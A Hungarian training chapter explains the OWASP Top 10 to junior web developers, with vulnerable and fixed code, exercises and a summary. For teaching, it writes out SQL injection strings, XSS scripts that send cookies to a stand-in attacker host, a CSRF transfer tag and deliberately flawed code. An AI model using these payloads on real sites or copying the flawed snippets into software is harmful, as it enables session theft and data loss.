← 10. DevSec – Security alapok

10.2 OWASP Top 10 – A leggyakoribb sérülékenységek junioroknak

Áttekintő

Az OWASP (Open Web Application Security Project) egy nonprofit szervezet, amely minden néhány évben kiadja a webfejlesztésben leggyakrabban előforduló biztonsági sérülékenységek listáját – ez az OWASP Top 10. Ez nem elméleti lista: ezek azok a hibák, amelyeket valódi rendszerekben, valódi fejlesztők valódi kódjaiban találnak meg nap mint nap.

A jó hír: nem kell security szakértővé válnod. A cél az, hogy felismerd ezeket a mintákat, amikor kódolsz – és tudd, hogyan kerüld el őket. Senki sem vár el tőled penetration testinget vagy kriptográfiai szaktudást az első munkahelyeden. Azt azonban elvárják, hogy ne nyiss szélesre nyilvánvaló réseket.

Mit tanulsz ebből az alfejezetből:

• A legfontosabb OWASP Top 10 kategóriák nevét és lényegét
• Hogyan működik a támadás mechanizmusa (nem kell exploitot írni, de érteni kell)
• Melyik sérülékenységgel fog egy átlagos webfejlesztő a legtöbbször találkozni
• Hogyan ismerd fel sebezhető kódot code review-ban

Részletes leírás

Mi az OWASP Top 10 és miért számít?

Az OWASP 2021-es Top 10 listája a jelenlegi hivatkozási alap. Nézzük meg az egészet, mielőtt a legfontosabbakra mélyülünk:

A listában az első helyen már nem az Injection (SQL injection) szerepel – a Broken Access Control vette át a vezetést, mert a valóságban ez a leggyakoribb probléma. Ennek ellenére a junior fejlesztők számára a klasszikus injektálási sérülékenységek, az XSS és az autentikációs hibák a legrelevánsabbak.

A01 – Broken Access Control (Törött hozzáférés-szabályozás)

Mi ez?
A felhasználó olyat is el tud érni vagy csinálni, amit nem kellene. Például megtekintheti más felhasználó adatait, adminisztrátori funkciókat érhet el, vagy olyan URL-t látogat, amelyre nincs jogosultsága.

Hogyan néz ki a gyakorlatban?

GET /api/users/42/profile   ← bejelentkezett felhasználó saját profilja
GET /api/users/43/profile   ← ugyanez, de egy másik user ID-jával

Ha a szerver nem ellenőrzi, hogy a bejelentkezett felhasználó tényleg hozzáférhet-e a 43-as user adataihoz – ez Insecure Direct Object Reference (IDOR), a törött hozzáférés-szabályozás egyik leggyakoribb formája.

Másik klasszikus eset: Admin felület, amelyhez az URL-t eltalálva bárki hozzáfér, mert „úgysem tudja senki az URL-t" (security through obscurity – nem működik).

Mit csináljon a fejlesztő:

• Minden kérésnél ellenőrizze: a kérező jogosult-e erre a műveletre?
• Az ellenőrzés szerver oldalon történjen, soha ne csak kliens oldalon
• Teszteld a saját API-dat: ha átírod az ID-t más user ID-jára, mit kapsz vissza?

A02 – Cryptographic Failures (Kriptográfiai hibák)

Mi ez?
Érzékeny adatok (jelszavak, kártyaszámok, személyes adatok) nincsenek megfelelően titkosítva tárolás vagy átvitel közben. Vagy rossz, elavult algoritmust használnak.

Tipikus junior hiba:

# ROSSZ – soha ne csináld
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# HELYES – bcrypt vagy argon2
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

Az MD5 és az SHA-1 nem alkalmas jelszó hash-elésre – gyorsan feltörhetők rainbow table-lel. A bcrypt/argon2 erre lett tervezve: szándékosan lassú, és tartalmazz „salt"-ot.

Másik tipikus eset: Az API kommunikáció HTTP-n megy HTTPS helyett, és a jelszó/token plaintext-ben utazik a hálózaton.

Mit csináljon a fejlesztő:

• Jelszó tárolásra: bcrypt, argon2 (nem MD5, nem SHA-1, nem SHA-256)
• Érzékeny adatátvitel: mindig HTTPS
• Érzékeny adat logolása: kerüld (jelszó, token, kártyaszám soha ne kerüljön logba)

A03 – Injection (Injektálás) – SQL Injection

Mi ez?
A legismertebb biztonsági sérülékenység. A felhasználói input közvetlenül bekerül egy parancsba (SQL lekérdezés, shell parancs, LDAP lekérdezés stb.), és így a támadó módosíthatja a parancs logikáját.

Az SQL injection klasszikus példája:

# ROSSZ – sebezhető kód
username = request.form['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
db.execute(query)

Ha a felhasználó ezt írja be: admin' OR '1'='1

A végrehajtott lekérdezés:

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

Ez minden felhasználót visszaad – az OR '1'='1' mindig igaz. Bejelentkezett anélkül, hogy tudná a jelszót.

Extrémebb eset: '; DROP TABLE users; -- (Bobby Tables, a közismert XKCD-képregény alapja)

A fix:

# HELYES – paraméteres lekérdezés
query = "SELECT * FROM users WHERE username = %s"
db.execute(query, (username,))

// JavaScript / Node.js
const query = "SELECT * FROM users WHERE username = ?";
db.execute(query, [username]);

// PHP / Laravel
$user = DB::select('SELECT * FROM users WHERE username = ?', [$username]);
// vagy Eloquent ORM:
$user = User::where('username', $username)->first();

Az ORM-ek általában védik ettől, de ha raw query-t írsz, mindig paraméteres lekérdezést használj.

XSS – Cross-Site Scripting (Keresztoldali szkriptbeszúrás)

Megjegyzés: az OWASP Top 10 2021-ben az XSS az A03 Injection alá került, korábban önálló kategória volt. A fogalom annyira elterjedt, hogy külön érdemes tárgyalni.

Mi ez?
A támadó JavaScript kódot szúr be a weboldalba, amelyet más felhasználók böngészői futtatnak. Ezzel ellophatja a session tokent, átirányíthatja a felhasználót, vagy módosíthatja az oldal tartalmát.

Két fő típus:

Reflected XSS: A rosszindulatú script az URL-ben utazik, és a szerver visszatükrözi.

https://pelda.hu/search?q=<script>document.location='https://tamado.hu/steal?cookie='+document.cookie</script>

Stored XSS: A script az adatbázisba kerül (pl. kommentként), és minden látogatónál lefut.

<!-- Felhasználó ezt írja kommentként: -->
Szép cikk! <script>fetch('https://tamado.hu/steal?c='+document.cookie)</script>

A fix: output encoding

# Python / Flask – a Jinja2 automatikusan escapel
{{ user_comment }}         # ← biztonságos, escapelt
{{ user_comment | safe }}  # ← veszélyes, kikapcsoltuk az escapelést

# Ha manuálisan kell:
from markupsafe import escape
safe_output = escape(user_input)

// JavaScript – ne használd az innerHTML-t felhasználói inputtal
element.innerHTML = userInput;    // VESZÉLYES
element.textContent = userInput;  // BIZTONSÁGOS

Modern frontend keretrendszerek (React, Vue, Angular) alapértelmezetten escapelnek – de ha dangerouslySetInnerHTML (React) vagy v-html (Vue) direktívákat használsz, te vagy a felelős.

CSRF – Cross-Site Request Forgery (Keresztoldali kéréshamisítás)

Mi ez?
A támadó ráveszi a bejelentkezett felhasználót, hogy tudtán kívül egy kérést küldjön egy általa megbízott oldalra. A felhasználó böngészője automatikusan küldi a session cookie-t – a szerver nem tudja megkülönböztetni.

Példa:

A felhasználó be van jelentkezve a bankjánál. A támadó küld neki egy emailt:

<!-- Egy rosszindulatú weboldalon: -->
<img src="https://bank.hu/transfer?amount=50000&to=tamado_szamla" style="display:none">

Amikor a felhasználó megnyitja ezt az oldalt, a böngésző automatikusan kiküldi a kérést a bank.hu-ra – a session cookie-val együtt. A bank azt hiszi, a felhasználó indította.

A fix: CSRF token

<!-- Szerver generál egy egyedi tokent a form-ba: -->
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="abc123random456">
    <!-- ... -->
</form>

A szerver ellenőrzi, hogy a form által elküldött token egyezik-e a sessionben tárolttal. Egy külső oldal nem ismerheti ezt a tokent.

Modern keretrendszerek (Laravel, Django, Rails) alapértelmezetten védik a POST kéréseket CSRF token-nel. REST API esetén a SameSite cookie attribútum és a megfelelő CORS konfiguráció nyújt védelmet.

A07 – Identification and Authentication Failures (Hitelesítési hibák)

Mi ez?
A bejelentkezési és session kezelési mechanizmusok hibái: gyenge jelszavak elfogadása, nem lejáró session-ök, helytelen session invalidálás kijelentkezéskor, brute force elleni védelem hiánya.

Tipikus hibák:

# 1. hiba: Jelszó nincs hashelve
user.password = request.form['password']  # plaintext tárolás

# 2. hiba: Gyenge jelszavak elfogadása
if len(password) >= 1:  # semmi más ellenőrzés
    ...

# 3. hiba: Session nem törlődik kijelentkezéskor
@app.route('/logout')
def logout():
    return redirect('/')  # session.clear() elfelejtve!

# 4. hiba: Nincs brute force védelem
@app.route('/login', methods=['POST'])
def login():
    # Korlátlan próbálkozás engedélyezve
    if check_password(username, password):
        ...

Mit csináljon a fejlesztő:

• Jelszó hashelés (bcrypt/argon2) – ld. A02
• Erős jelszó policy (minimum hossz, komplexitás)
• Rate limiting a login endpoint-on
• Session invalidálás kijelentkezéskor
• Jelszó-visszaállítási folyamat biztonságos implementálása

A05 – Security Misconfiguration (Biztonsági félkonfiguráció)

Mi ez?
Nem a kódban van a hiba, hanem a konfigurációban: alapértelmezett jelszavak, feleslegesen engedélyezett funkciók, részletes hibaüzenetek production-ban, nyitva hagyott admin felületek.

Tipikus esetek:

# Flask development módban marad production-ban:
app.run(debug=True)  # Stack trace megjelenik a felhasználónak!

# Django:
DEBUG = True  # production-ban mindig False legyen

# Stack trace a felhasználónak – ne csináld ezt:
500 Internal Server Error
Traceback (most recent call last):
  File "/app/views.py", line 42, in get_user
    user = db.query(f"SELECT * FROM users WHERE id={user_id}")
sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) ...

Ebből a hibaüzenetből egy támadó megtudja az adatbázis típusát, a szerver elérési útját, a lekérdezés struktúráját – és ráadásul azt is, hogy az SQL injection valószínűleg működne.

A06 – Vulnerable and Outdated Components (Elavult komponensek)

Mi ez?
A projekt elavult, ismert sérülékenységeket tartalmazó könyvtárakat, keretrendszereket vagy pluginokat használ.

Mit csináljon a fejlesztő:

• Rendszeresen futtass dependency auditot:

npm audit          # Node.js
pip-audit          # Python
composer audit     # PHP

• Figyeld a biztonsági frissítéseket a használt könyvtárakhoz
• Ne halaszd a patch-elést arra a napra, amikor „ráérsz"

Ez nem igényel sok fejlesztői tudást – de rendszeres figyelmet igen.

Melyiket találkozod meg leggyakrabban?

Ha egy átlagos webfejlesztőt megkérdeznek, ezek kerülnek elő legtöbbször:

A CSRF és az autentikációs hibák szintén gyakoriak, de modern keretrendszerek sok mindent alapból kezelnek – ha tudod, mit kell bekapcsolni.

Életszerű példák

Példa 1 – IDOR egy valódi API-ban

Egy junior fejlesztő megírja az első REST API endpointját:

@app.route('/api/orders/<int:order_id>', methods=['GET'])
def get_order(order_id):
    order = Order.query.get(order_id)
    return jsonify(order.to_dict())

Teszteli: GET /api/orders/1 – visszajön a saját rendelése. Működik!

De mi van, ha a bejelentkezett user a 2-es rendelést kéri, ami egy másik vásárlóé? A kód simán visszaadja. A helyes változat:

@app.route('/api/orders/<int:order_id>', methods=['GET'])
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id  # ← ez a lényeg
    ).first_or_404()
    return jsonify(order.to_dict())

Ez nem extra komplexitás – mindössze egy szűrési feltétel. De ha kimarad, komoly adatszivárgás lehet belőle.

Példa 2 – XSS egy kommentrendszerben

Egy csapat megépít egy kommentrendszert. Tesztelés: működik, kommentek megjelennek. Deploy, production.

Egy héttel később valaki <script>alert('XSS')</script> kommentet ír. Mindenkinél felugrik egy ablak. Majd valaki komolyabb scriptet tesz be, ami elveszi a session cookie-kat.

A hiba: az adatbázisból kiolvasott komment szöveg raw HTML-ként kerül a DOM-ba:

// Rossz:
commentDiv.innerHTML = comment.text;

// Helyes:
commentDiv.textContent = comment.text;
// vagy React esetén automatikusan safe:
<div>{comment.text}</div>  // ← React automatikusan escapel

Példa 3 – Debug mód production-ban

Egy junior deploy-olja az első éles alkalmazását. Minden működik – de elfelejtette átállítani a konfigurációt:

# .env.production (amit nem töltöttek ki rendesen):
DEBUG=True
SECRET_KEY=dev-secret-key-not-for-production

Egy kivétel esetén a teljes stack trace megjelenik az oldalon – az adatbázis struktúrával, elérési utakkal együtt. Egy tesztelő automatizált eszköz percek alatt megtalálja.

Ez nem okos hacker – ez egy egyszerű konfiguráció-ellenőrzés. Production deploy előtt mindig ellenőrizd a konfigurációt.

Kódrészlet-elemzési feladat

Mielőtt a tesztekhez érnél, próbálkozz ezzel. Nézd meg az alábbi kódrészletet, és azonosítsd: melyik OWASP kategóriába esik a hiba, és miért?

@app.route('/search')
def search():
    q = request.args.get('q', '')
    results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{q}%'")
    return render_template('search.html', 
                          results=results, 
                          query=q,
                          debug_info=str(db.engine))

<!-- search.html -->
<h2>Keresési eredmények: {{ query | safe }}</h2>

(Megoldás a tesztek után)

Tesztfeladatok

1. feladat – Fogalom-párosítás

Párosítsd össze a sérülékenységet a leírásával!

Sérülékenységek: A) SQL Injection
B) XSS (Cross-Site Scripting)
C) CSRF (Cross-Site Request Forgery)
D) Broken Access Control
E) Security Misconfiguration

Leírások:

1. A felhasználó más felhasználók adatait is el tudja érni az API-n, mert nincs megfelelő jogosultság-ellenőrzés.
2. A támadó rosszindulatú JavaScript kódot szúr be az oldalra, amely más felhasználók böngészőjében fut le.
3. Felhasználói input közvetlenül kerül az adatbázis-lekérdezésbe, módosítva annak logikáját.
4. Egy rosszindulatú oldal a bejelentkezett felhasználó nevében küld kéréseket egy megbízható oldalra.
5. Debug mód marad production-ban, részletes hibaüzenetekkel.

2. feladat – Sebezhető vagy biztonságos?

Melyik kódrészlet sebezhető és miért?

A változat (Python):

user_id = request.args.get('id')
user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,))

B változat (Python):

user_id = request.args.get('id')
user = db.execute(f"SELECT * FROM users WHERE id = {user_id}")

3. feladat – XSS azonosítása

Az alábbi JavaScript kódrészletek közül melyik sebezhető XSS-re, és melyik biztonságos?

// 1. lehetőség
document.getElementById('welcome').innerHTML = 'Üdvözöljük, ' + username;

// 2. lehetőség
document.getElementById('welcome').textContent = 'Üdvözöljük, ' + username;

// 3. lehetőség (React)
return <div>Üdvözöljük, {username}</div>;

// 4. lehetőség (React)
return <div dangerouslySetInnerHTML={{__html: 'Üdvözöljük, ' + username}} />;

4. feladat – Melyik OWASP kategória?

Azonosítsd, melyik OWASP Top 10 kategóriába esik az alábbi szituáció!

Szituáció A: Egy webshopban ha a felhasználó az URL-ben lévő order_id paramétert átírja, megtekintheti bármely másik felhasználó rendelési adatait.

Szituáció B: Egy alkalmazás az összes hibaüzenetet console.log-gal is kiírja, beleértve az SQL lekérdezéseket és az API kulcsokat.

Szituáció C: Egy pakoltárgyú npm install után a npm audit 3 kritikus sérülékenységet jelez, de a fejlesztő nem foglalkozik vele.

Szituáció D: A login oldal nem korlátozza a próbálkozások számát – automatizált eszközzel percenként ezreket lehet próbálgatni.

5. feladat – A kódrészlet hibája

Visszatérve a korábban mutatott kódrészlethez:

@app.route('/search')
def search():
    q = request.args.get('q', '')
    results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{q}%'")
    return render_template('search.html', 
                          results=results, 
                          query=q,
                          debug_info=str(db.engine))

<h2>Keresési eredmények: {{ query | safe }}</h2>

Sorold fel az összes biztonsági hibát, amelyet találsz!

6. feladat – Igaz vagy hamis?

Döntsd el, hogy az alábbi állítások igazak vagy hamisak!

1. Ha ORM-et (pl. Laravel Eloquent, Django ORM) használok, teljesen biztonságban vagyok SQL injection ellen.
2. Az HTTPS elegendő az XSS ellen való védelemhez.
3. A CSRF token véd az SQL injection ellen.
4. Ha egy oldal csak bejelentkezés után érhető el, nem kell ellenőrizni, hogy az adott felhasználónak joga van-e az adott rekordhoz.
5. Debug mód production-ban súlyos biztonsági kockázat, mert részletes hibaüzeneteket jelenít meg.

7. feladat – Javítsd meg a kódot!

Az alábbi PHP kód egy regisztrációs form kezelője. Találd meg és javítsd ki a biztonsági hibákat!

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$email    = $_POST['email'];

$query = "INSERT INTO users (username, password, email) 
          VALUES ('$username', '$password', '$email')";

$result = mysqli_query($conn, $query);

if ($result) {
    echo "Sikeres regisztráció! Jelszó: $password";
}
?>

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$email    = $_POST['email'];

// Jelszó hashelése
$hashed_password = password_hash($password, PASSWORD_BCRYPT);

// Paraméteres lekérdezés
$stmt = $conn->prepare("INSERT INTO users (username, password, email) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $username, $hashed_password, $email);
$result = $stmt->execute();

if ($result) {
    echo "Sikeres regisztráció!"; // NE írjuk ki a jelszót
}
?>

8. feladat – Szituáció-elemzés

Csapattársad Pull Request-et nyitott. A módosítás egy keresési funkciót ad hozzá. Te review-olod. Melyik kommentet írnád és miért?

A kódrészlet:

app.get('/search', async (req, res) => {
  const query = req.query.q;
  const results = await db.query(`SELECT * FROM articles WHERE title LIKE '%${query}%'`);
  res.json(results);
});

Komment-variációk:

• A) "Ez így nem jó."
• B) "SQL injection sebezhető – a query string közvetlenül kerül az SQL-be. Cseréld paraméteres lekérdezésre: db.query('SELECT * FROM articles WHERE title LIKE ?', ['%' + query + '%'])"
• C) "Esetleg érdemes lenne megnézni a biztonsági vonatkozásokat."
• D) "Blockolja a PR-t: az SQL injection OWASP A03 kategóriás kritikus sérülékenység, paraméteres lekérdezés szükséges, ld. db dokumentáció X. oldal."

9. feladat – Rangsorolás

Egy junior fejlesztő az alábbi biztonsági problémákat találta a saját projektjében. Hogyan priorizálnád őket javítás szerint (1 = legfontosabb először)?

• A) Az npm audit 2 low severity sérülékenységet jelez egy tesztelési könyvtárban
• B) A login endpoint nem rate-limited – brute force lehetséges
• C) A production .env fájl benne van a git history-ban (de git push még nem volt)
• D) A keresési form SQL injection sebezhető
• E) A hibaoldalak stack trace-t mutatnak production-ban

10. feladat – Összefoglalás saját szavakkal

(Gondolkodj el rajta, nem kell leírni)

Képzeld el, hogy egy csapattársad azt mondja:
„Majd a security csapat megnézi az egészet deploy előtt, mi csak fejlesszünk."

Mit válaszolnál? Milyen érvekkel magyaráznád el, hogy miért nem elég ez a hozzáállás?

(Segítség: gondolj a shift-left security elvére és arra, hogy az OWASP Top 10 hibáinak nagy részét fejlesztés közben, nem utólag a legkönnyebb elkerülni.)

Összefoglalás

Az OWASP Top 10 nem egy félelmetes, misztikus lista – hanem a tapasztalat lecsapódása: ezeket a hibákat követik el leggyakrabban, és ezeket lehet a legkönnyebben elkerülni, ha tudod, mire figyelj.

Amit vigyél magaddal:

• SQL Injection → paraméteres lekérdezés mindig, raw string soha
• XSS → ne használj innerHTML-t / | safe-et ellenőrizetlenül; a modern frameworkök alapból védenek
• Broken Access Control → minden API kérésnél ellenőrizd: a kérező hozzáférhet-e ehhez?
• Jelszó tárolás → bcrypt/argon2, nem MD5, nem SHA, nem plaintext
• Debug mód production-ban → production deploy előtt mindig ellenőrizd a konfigurációt
• Elavult komponensek → rendszeres npm audit / pip-audit / composer audit

A következő alfejezetekben az SQL injection megelőzését (10.3) és az XSS/CSRF védelmet (10.4) mélyebben is tárgyaljuk – konkrét kódpéldákkal.